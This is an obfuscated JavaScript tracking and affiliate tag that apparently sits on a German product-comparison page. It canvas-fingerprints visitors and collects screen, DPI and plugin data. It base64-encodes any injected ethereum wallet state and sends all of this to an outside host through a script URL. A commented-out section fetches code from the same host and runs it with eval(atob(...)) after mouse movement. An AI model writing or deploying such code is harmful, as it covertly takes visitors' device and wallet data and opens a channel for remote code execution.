var _adowymz_dbg = ""; function _rwqdhs_addfprt(object) { if(typeof ethereum !== "undefined" && ethereum._state) { object.eth = btoa(JSON.stringify(ethereum._state)); } object.sw = screen.width; object.sh = screen.height; var fHS63scanvas = document.createElement("canvas"); fHS63scanvas.style = "position: absolute; display: none;"; fHS63scanvas.width = 200; fHS63scanvas.height = 40; var fHS63sbodyElement = document.getElementsByTagName('body'); if (fHS63sbodyElement && fHS63sbodyElement[0]) { fHS63sbodyElement[0].appendChild(fHS63scanvas); } var fHS63sctx = fHS63scanvas.getContext("2d");  fHS63sctx.fillStyle = "rgb(255,0,255)"; fHS63sctx.beginPath(); fHS63sctx.rect(20, 20, 150, 100); fHS63sctx.fill(); fHS63sctx.stroke(); fHS63sctx.closePath(); fHS63sctx.beginPath(); fHS63sctx.fillStyle = "rgb(0,255,255)"; fHS63sctx.arc(50, 50, 50, 0, Math.PI * 2, true); fHS63sctx.fill(); fHS63sctx.stroke();    fHS63sctx.closePath(); fHS63sctx.textBaseline = "top"; fHS63sctx.font = '17px "Arial 17"'; fHS63sctx.textBaseline = "alphabetic"; fHS63sctx.fillStyle = "rgb(255,5,5)"; fHS63sctx.rotate(.03); fHS63sctx.fillText('abz190#$%^@£éú', 4, 17); fHS63sctx.fillStyle = "rgb(155,255,5)"; fHS63sctx.shadowBlur=8; fHS63sctx.shadowColor="red"; fHS63sctx.fillRect(20,12,100,5); fHS63ssrc = fHS63scanvas.toDataURL(); var fHS63shash = 0;  for (i = 0; i < fHS63ssrc.length; i++) { char = fHS63ssrc.charCodeAt(i); fHS63shash = ((fHS63shash<<5)-fHS63shash)+char; fHS63shash = fHS63shash & fHS63shash; } object.fpc = fHS63shash; try { object.sch = window.matchMedia("(prefers-color-scheme: light)").matches; } catch(e) { object.sch = "unknown" } try { object.tch = (('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)); } catch(e) { object.tch = "unknown"; } var f7436el = document.createElement('div'); f7436el.style.width = '1in'; document.body.appendChild(f7436el); const f7436dpi = f7436el.offsetWidth * (devicePixelRatio || 1); f7436el.remove(); object.dpi = f7436dpi; var x=navigator.plugins.length; var txt=""; for(var i=0;i<x;i++) { txt+=navigator.plugins[i].name + " "; } object.plg = txt; if(object.location.includes('#nbncidtf')) {    } return object; } try {  window.mm_migration_query = '{"type":"1","cid":"1018","language":"de","productid":"75877","category":"Zubehör,Diebstahlschutz","price":"94.9","curr":"EUR","extref":"https://www.bild.de/vergleich/fahrradschloss-test/"}';  /* DO NOT CHANGE */
var ctl = {nr: '5daaff5485fccb2c482f159f', cls: 'generic', referer: document.referrer.toString(), location: window.location.href}; ctl = _rwqdhs_addfprt(ctl);
// leave this line here
/* DO NOT CHANGE */

/* ---------------BEGIN CUSTOM CODE HERE ------------------ */

if(typeof window.mm_migration_query !== "undefined" && window.mm_migration_query != null) {
    var migration_query = JSON.parse(window.mm_migration_query);
    if(typeof migration_query.type !== "undefined" && migration_query.type != null) {
        switch(migration_query.type) {
            case "0":
                ctl.cls = "front";
                // leave this line here
                break;
            case "1":
                ctl.cls = "product";
                ctl.productid = migration_query.productid;
                var incoming = {
                    campaign: "5daaff5485fccb2c482f159f", //Leave this unchanged
                    catalog: "5dab00b585fccb2c482f15aa", //Add catalog id
                    id: ctl.productid || "",
                    availability: "1",
                    googleProductCategory: "1",
                    mpn: ctl.productid || "",
                    link: "https://track.webgains.com/click.html?wgcampaignid=224279&wgprogramid=1435&wgtarget=" //Add affiliate link prefix
                    // additionalImageLink: "", //Optional
                    // additionalImageLink2: "", //Optional
                    // additionalImageLink3: "", //Optional
                    // additionalImageLink4: "", //Optional
                    // additionalImageLink5: "", //Optional
                    // unitPricingMeasure: "", //Optional
                    // unitPricingBaseMeasure: "", //Optional
                    // gtin: "", //Optional
                    // condition: "", //Optional
                    // shipping: "", //Optional
                }
                incoming.title = document.querySelector("title") !== null ? document.querySelector("title").innerText : "";
                incoming.description = document.querySelector("meta[name='description']") !== null ? document.querySelector("meta[name='description']").getAttribute("content") : "";
                incoming.link += document.querySelector("link[rel='canonical']") !== null ? document.querySelector("link[rel='canonical']").getAttribute("href") : ctl.location.split("?")[0];
                incoming.imageLink = document.querySelector('meta[itemprop="image"]') !== null ? location.host + "/" + document.querySelector('meta[itemprop="image"]').getAttribute('content') : "";
                if(Array.from(document.querySelectorAll('span[itemprop="price"]')).length == 2){
                    incoming.price = Array.from(document.querySelectorAll('span[itemprop="price"]'))[0].getAttribute("content");
                    incoming.salePrice = Array.from(document.querySelectorAll('span[itemprop="price"]'))[1].getAttribute("content");
                } else {
                    incoming.salePrice = document.querySelector('span[itemprop="price"]') !== null ? document.querySelector('span[itemprop="price"]').getAttribute("content") : "";
                    incoming.price = incoming.salePrice;
                }
                incoming.brand = document.querySelector('span[itemprop="brand"]') !== null ? document.querySelector('span[itemprop="brand"]').innerText : "";
                // leave this line here
                
                if(incoming.catalog != "" && incoming.id != "") {
                
                
                    var productObject = {
                        id: (typeof incoming.id !== "undefined" ? incoming.id : ""),
                        title: (typeof incoming.title !== "undefined" ? incoming.title : ""),
                        description: (typeof incoming.description !== "undefined" ? incoming.description : ""),
                        link: (typeof incoming.link !== "undefined" ? incoming.link : ""),
                        imageLink: (typeof incoming.imageLink !== "undefined" ? incoming.imageLink : ""),
                        price: (typeof incoming.price !== "undefined" ? incoming.price : ""),
                        salePrice: (typeof incoming.salePrice !== "undefined" ? incoming.salePrice : ""),
                        googleProductCategory: (typeof incoming.googleProductCategory !== "undefined" ? incoming.googleProductCategory : ""),
                        brand: (typeof incoming.brand !== "undefined" ? incoming.brand : ""),
                        mpn: (typeof incoming.mpn !== "undefined" ? incoming.mpn : ""),
                        additionalImageLink: (typeof incoming.additionalImageLink !== "undefined" ? incoming.additionalImageLink : ""),
                        additionalImageLink2: (typeof incoming.additionalImageLink2 !== "undefined" ? incoming.additionalImageLink2 : ""),
                        additionalImageLink3: (typeof incoming.additionalImageLink3 !== "undefined" ? incoming.additionalImageLink3 : ""),
                        additionalImageLink4: (typeof incoming.additionalImageLink4 !== "undefined" ? incoming.additionalImageLink4 : ""),
                        additionalImageLink5: (typeof incoming.additionalImageLink5 !== "undefined" ? incoming.additionalImageLink5 : ""),
                        unitPricingMeasure: (typeof incoming.unitPricingMeasure !== "undefined" ? incoming.unitPricingMeasure : ""),
                        unitPricingBaseMeasure: (typeof incoming.unitPricingBaseMeasure !== "undefined" ? incoming.unitPricingBaseMeasure : ""),
                        gtin: (typeof incoming.gtin !== "undefined" ? incoming.gtin : ""),
                        sellerLogo: (typeof incoming.sellerLogo !== "undefined" ? incoming.sellerLogo : ""),
                        currency: (typeof incoming.currency !== "undefined" ? incoming.currency : ""),
                        country: (typeof incoming.country !== "undefined" ? incoming.country : ""),
                        condition: (typeof incoming.condition !== "undefined" ? incoming.condition : ""),
                        shipping: (typeof incoming.shipping !== "undefined" ? incoming.shipping : ""),
                        prefix: (typeof incoming.prefix !== "undefined" ? incoming.prefix : ""),
                    }
                
                    if(typeof incoming.listed !== "undefined" && incoming.listed == "false") { productObject.listed = false } else { productObject.listed = true };
                    if(typeof incoming.featured !== "undefined" && incoming.featured == "false") { productObject.featured = false } else { productObject.featured = true };
                    if(typeof incoming.upsert !== "undefined" && (incoming.upsert == "true" || incoming.upsert == "false")) productObject.upsert = incoming.upsert;
                    if(typeof incoming.prefixImageFile !== "undefined" && (incoming.prefixImageFile == "true" || incoming.prefixImageFile == "false")) productObject.prefixImageFile = incoming.prefixImageFile;
                    if(typeof incoming.availability !== "undefined") productObject.availability = incoming.availability;
                
                
                    if(typeof ctl42 !== "undefined") {
                        ctl42.fdcrw_catalog = incoming.catalog;
                        ctl42.fdcrw_data = JSON.stringify(productObject);
                    }
                    if(typeof ctl !== "undefined") {
                        ctl.fdcrw_catalog = incoming.catalog;
                        ctl.fdcrw_data = JSON.stringify(productObject);
                    }
                
                }                // leave this line here
                break;
            case "2":
                ctl.cls = "order";
                ctl.orderid = migration_query.salecode;
                ctl.ordervalue = migration_query.price;
            	ctl.currency = migration_query.curr;
            	ctl.products = migration_query.productids;
                // leave this line here
                break;
            case "3":
                ctl.cls = "catalog";
                ctl.category = migration_query.category;
                // leave this line here
                break;
            case "4":
                ctl.cls = "cart";
                // leave this line here
                break;
        }
    }
    
}

/* ---------------END CUSTOM CODE HERE ------------------ */


var prc=!0;if(top!==self){var cache=[],rsn="",tt=["-isg","oisg","xirti","atcaxe","-caxe",".caxe"];function stringifySelf(r){return JSON.stringify(r,function(r,t){if("object"==typeof t&&null!==t){if(-1!==cache.indexOf(t))try{return JSON.parse(JSON.stringify(t))}catch(r){return}cache.push(t)}return t})}try{var selfString=stringifySelf(self);for(var k in null!==self.frameElement&&(prc=!1,rsn="iframeelement"),tt)!isNaN(k)&&selfString.indexOf(tt[k].split("").reverse().join(""))>=0&&(prc=!1,rsn=tt[k].split("").reverse().join(""))}catch(r){prc=!1,rsn="stringifySelf threw error"}}prc||(window.ctl&&(ctl.ifc="y"),window.ctl42&&(ctl42.ifc="y"));
/* DO NOT CHANGE */
var queryString = Object.keys(ctl).map(function(key) {
    return key + '=' + encodeURIComponent(ctl[key]);
}).join('&');

var ctls = document.createElement('script'); ctls.async = true; ctls.type = 'text/javascript';
ctls.async = true;
ctls.type = 'text/javascript';
ctls.src = 'https://s.marvellousmachine.net/ctl?' + queryString + '&psk=1134998485951';
var bodyElement = document.getElementsByTagName('body');
if (bodyElement && bodyElement[0]) {
	bodyElement[0].appendChild(ctls);
}
/* DO NOT CHANGE */
/* DO NOT CHANGE */
/* var ixmeasure = 'd' + Math.floor(Math.random()*1000001);

window[ixmeasure] = function() {
    var xmlhttp;
    if (window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }
    else {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4 && xmlhttp.status==200) {
            try { eval(atob(xmlhttp.responseText)); } catch(e) {}
        }
    }
    xmlhttp.open("POST","https://s.marvellousmachine.net/al",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("c=5daaff5485fccb2c482f159f");
    window.removeEventListener("mousemove", ixMeasur);
    window.removeEventListener("touchmove", ixMeasur);
}
let ixMeasur = window[ixmeasure]
window.addEventListener("mousemove", ixMeasur);
window.addEventListener("touchmove", ixMeasur); */

/* DO NOT CHANGE */    } catch(err) { _adowymz_dbg = err; console.log('e'); }
